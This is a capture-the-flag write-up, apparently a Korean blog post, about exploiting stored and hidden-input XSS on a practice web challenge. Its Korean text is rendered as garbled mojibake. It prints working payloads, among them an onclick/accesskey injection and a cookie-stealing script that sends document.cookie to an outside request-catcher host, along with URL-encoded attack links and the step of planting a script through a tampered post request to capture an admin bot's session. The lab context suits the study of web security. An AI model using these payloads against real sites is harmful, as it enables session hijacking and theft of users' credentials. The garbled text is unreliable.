์ทจ์ฝ์ ์ค๋ช
: Stored XSS
์ทจ์ฝ์ ๋ฐ์ ์์น : notice_write_process.php
ํ์๊ฐ์
- ๋ก๊ทธ์ธ - ๊ฒ์ํ ๊ธ์ฐ๊ธฐ์์ ๊บฝ์ HTML Entity๊น์ง ํ์ธ.
notice_update.php ์์ title input value ๋ถ๋ถ์ ํ์ดํ ์
๋ ฅ๊ฐ์ด ๋ค์ด๊ฐ๋ค๋ ๊ฒ์ ํ์ธํจ.
EventHandler onclick์ ์ด์ฉํด์ ํด๋น input์ ํด๋ฆญํ๋ฉด alert(document.cookie)๊ฐ ๋จ๊ฒ ์๋.
์ฟ ํค๊ฐ์ด ๋ฌ๋ค! ๊ทธ๋๋ก ์ฟ ํคํ์ทจ์ฝ๋ ์ฝ์
ํด๋ณด์.
์ ๋ชฉ์ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ๋ค.
ํด๋น ๊ฒ์๋ฌผ ๋๋ฅด๊ณ update, title input์ฐฝ ํด๋ฆญ
์ฟ ํค๊ฐ์ด ๊ณต๊ฒฉ์ ์๋ฒ๋ก ๋์ด์จ๋ค! ์ด URL์ ๊ด๋ฆฌ์ ๋ด์๊ฒ ๋ณด๋ด๋ณด์.
alert์ฐฝ์ด 2๊ฐ ์ด์ ๋จ๋ฉด ํด๋น ๊ฒฝ๊ณ ๊ฐ ๋จ๋ ๊ฒ ๊ฐ๋ค.
์ ์ฐฝ ๋์์ ์ ์ํด๋ด
alert์ฐฝ์ด ์๋ฌ๋ค. ๋ก๊ทธ์์์ ํ์ด์ผ ํ๋๋ฐ ์ํด์ ์ ์ ์ ์์ด ๋๋๊ฒ์ด๋ค.
์ด ์ฌ์ค์ ์ธ์งํ์ง ๋ชปํ๊ณ onclick์ ๋ฌธ์ ๊ฐ ์๋ ์ค ์์๋ค.
onclick์ ํด๋ฆญ์ ํด์ผ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋๊น ํด๋น ํ์ด์ง์ ๋ค์ด์ค์๋ง์ ์คํ๋๊ฒ ํ ์ ์๋ ๋ฐฉ๋ฒ? autofocus onfocus๋ฅผ ์ฌ์ฉํด๋ณด์.
์ ๋ชฉ์
๋ก ๊ธ์ ์์ฑ ํ ํด๋น ๊ฒ์๋ฌผ ํด๋ฆญ-update
http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=238
URL์ ์ ์ํ๋ฉด ๋ฐ๋ก ์ฟ ํค๊ฐ์ด ๊ณต๊ฒฉ์์๋ฒ๋ก ๋ณด๋ด์ง๋ค.
๋ก๊ทธ์์ํ๊ณ URL์ ์ ์ํ๋ฉด?
alert์ฐฝ์ด ๋ ๊ฐ ๋ฌ๋ค. ๊ด๋ฆฌ์ Bot์์ ๊ฒฝ๊ณ ๊ฐ ๋ด๋ ์ด์ ์ด๋ค.
๋ค๋ฅธ ์ฌ์ฉ์๋ก ๋ก๊ทธ์ธํ๊ณ ํด๋น URL์ ์ ์ํด๋ ๊ฐ์ ์ฐฝ์ด ๋ฌ๋ค.
๊ทธ๋ผ ๋ก๊ทธ์ธ ์์ด or ๋ค๋ฅธ ์ฌ์ฉ์๋ก ๋ก๊ทธ์ธ ํ ์ ์๋๋ ํ์ด์ง๊ฐ ๋ญ์ง๋ถํฐ ์์๋ณด์.
XSS5 ๋ค๋ฅธ์ฌ์ฉ์ ์ ์๊ฐ๋ฅ ํ์ด์ง
index.php
login.html
mypage.php?user=xcvb (ํด๋ ์นธ์๋ ํด๋น ์ฌ์ฉ์ ์์ด๋)
notice_list.php
notice_read.php?
notice_update.php?
๋๋ ์คํจ๊ณผ์ .1 ์์ notice_update.php ์ ๋ํ ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ์ผ๋ฏ๋ก ๊ถํ์์ด ์ ์ ํ ์ ์๋ ๋ฐฉ๋ฒ์ ๋ชจ์ํ๋ค.
http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=238 ์ ๊ฐ์ด ์ด๋ฏธ id(idx)์ ํด๋นํ๋ ๊ธ์ด ์์ผ๋ฉด ์ ์์ด ๊ถํ์ด ์๋ค๋ ๋ฉ์ธ์ง๊ฐ ๋ฌ๋ค.
ํ์ง๋ง
http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=์ฒ๋ผ id์ ๊ฐ์ ๋ฃ์ด์ฃผ์ง ์๊ฑฐ๋ id(idx)์ ํด๋นํ๋ ๊ธ์ด ์์ผ๋ฉด ์ ์์ด ๊ฐ๋ฅํ๋ค.
ํน์๋ฌธ์ ์ฝ์
์ด ๊ฐ๋ฅํ์ง ํ์ธํ์.
๊บฝ์ ๋ <,> ๋ก ๋ฐ๋๋ค.
id์ ๊ฐ์ด input name="id" ์ value๊ฐ์ผ๋ก ์ฝ์
์ด ๋จ์ ํ์ธ.
๊บฝ์ ๊ฐ ์ฌ์ฉ ๋ถ๊ฐํ๋ฏ๋ก input ํ๊ทธ๋ฅผ ํ์ถํ์ง ๋ชปํ๋ค.
inputํ๊ทธ ์์์ alert(1) ๋์๋ณด์.
id๊ฐ์ " autofocushttps://velog.velcdn.com/images/dmkr9845/post/f6899b6e-2139-482c-b387-df79acf6ed9d/image.PNG">
alert์ฐฝ์ด ์ถ๋ ฅ๋์ง ์๋๋ค. input ์ hidden ์์ฑ ๋๋ฌธ์ด๋ค.
๐ input type = "hidden"
onclick, onfocus ๋ฑ Event Handler๊ฐ ์๋ํ์ง ์๋๋ค.
<input name="id" value="์
๋ ฅ๊ฐ" type="hidden"/> ์ ๊ฒฝ์ฐ
์
๋ ฅ๊ฐ์ type="text" ๋ฑ ํ์
์ ์ง์ ํด์ฃผ๋ ๋ฐฉ๋ฒ์ผ๋ก ์ฐํํ ์ ์๋ค.
์
๋ ฅ๊ฐ : " type = "text
<input name="id" value="" type="text" type="hidden"/> ์ด๋ฐ์์ผ๋ก.
<input name="id" type="hidden" value="์
๋ ฅ๊ฐ"/>
์ฌ๊ธฐ์ hidden์ ์ฐํํ๋ ๋ฐฉ๋ฒ?
์์ฃผ ์ ํ์ ์ธ ์กฐ๊ฑดํ์์๋ง ๊ฐ๋ฅํ๋ค.
์กฐ๊ฑด
1. Firefox ๋ธ๋ผ์ฐ์ ์ฌ์ฉ
2. accesskey ์ ๋ ฅ
firefox์์ id๊ฐ์ " accesskey="x" onclick=alert("XSS") x="์
๋ ฅ.
URL :
http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=%22+accesskey%3D%22x%22+onclick%3Dalert(%22XSS%22)+x%3D%22
alt + shift + x ํค๋ฅผ ๋๋ฅด๋ฉด alert์ฐฝ์ด ๋ฌ๋ค.
์ฟ ํค ํ์ทจ๊น์ง ํด๋ณด์.
id๊ฐ์ผ๋ก" accesskey="x" onclick='javascript: var cookieData = document.cookie; var i = new Image(); i.src ="https://en2hyoic3j7mi.x.pipedream.net/?cookie=" + cookieData;'
URL :
http://ctf.segfaulthub.com:4343/xss_6/notice_update.php?id=%22+accesskey%3d%22x%22+onclick%3d%27javascript%3a+var+cookieData+%3d+document.cookie%3b+var+i+%3d+new+Image()%3b+i.src+%3d%22https%3a%2f%2fen2hyoic3j7mi.x.pipedream.net%2f%3fcookie%3d%22+%2b+cookieData%3b%27
alt + shift + x ํค๋ฅผ ๋๋ฅด๋ฉด
์ฟ ํค๊ฐ์ด ์๋ฒ๋ก ์ ์ก๋๊ณ ์๋ค.
ํน์๋ ๊ด๋ฆฌ์ Bot์ด Firefox๋ก ์ ์ํด์ alt + shift + x ํค๋ฅผ ๋๋ฌ์ฃผ์ง ์์๊น?
์๋๋ค.
๋งํฌ๋ก ์ ์ํ์๋ง์ ์คํ์ด ๋์ด์ผ ํ๋ ๊ฒ ๊ฐ๋ค.
ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ - ๊ฒ์ํ ๊ธ ์์ฑ์์ ํน์๊ธฐํธ ์ฝ์ ๋๋์ง ํ์ธ.
notice_write_process.php content์์๋ง HTML Entity๋ก ๋ฐ๋๋๊ฒ ํ์ธ.
notice_write.php ๋ฅผ ๋ณด๋
content(create_body) ๋ง HTML Entity ํํ์ผ๋ก ๋ฐ๊พธ๊ณ ์๋ค.
๊ทธ๋ผ notice_write_process.php ์์ request ๊ฐ์ ์กฐ์ํด์ ๊ธ์ ์์ฑํด๋ณด์.
๊บฝ์ ๋ฅผ ์ฝ์
ํ ์ ์๋ค.
alert(1)๋ถํฐ ์ถ๋ ฅํด๋ณด์.
alert์ฐฝ์ด ์ถ๋ ฅ๋๋ ์ฟ ํค ํ์ทจ์ฝ๋๋ฅผ ๋ฃ์ด๋ณด์.
์คํฌ๋ฆฝํธ๊ฐ ์ ์๋ํ๋ค.
ํด๋น URL์ ๊ด๋ฆฌ์ Bot์ ์
๋ ฅํ์.
์ฟ ํค ํ์ทจ ์ฑ๊ณต!
์ฐธ๊ณ ์๋ฃ
https://www.hahwul.com/2016/06/20/web-hacking-hiddenxss-xss-in-hidden/